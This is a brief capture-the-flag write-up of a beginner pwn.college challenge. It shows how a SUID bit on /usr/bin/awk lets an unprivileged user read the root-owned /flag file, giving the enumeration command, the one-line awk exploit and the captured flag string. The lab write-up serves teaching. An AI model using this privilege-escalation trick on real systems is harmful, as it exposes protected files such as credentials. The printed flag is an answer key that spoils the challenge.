Challenge Name: awk
Writeup from Program Misuse
Category: Program Misuse
Platform: pwn.college
Difficulty: Beginner
Date: 2025-07-16
Author: Himanshu Parate
π§ Summary:
The challenge abuses a SUID bit set on /usr/bin/awk, allowing an unprivileged user to read the root-owned flag file at /flag.
π Enumeration
ls -l /usr/bin/awk
Output:
-rwsr-xr-x 1 root root 47480 Sep 5 2019 /usr/bin/awk
- The
sin-rwsindicates itβs a SUID binary. awkruns with root privileges.
π Exploitation
The awk command is a powerful text-processing tool in Linux, ideal for parsing, filtering, and formatting structured text, especially columns.
awk '{print}' /flag
Output:
pwn.college{IEoiRgfHGotfmjKhSx1ghEegh-N.dZzNxwSM0IzMyEzW}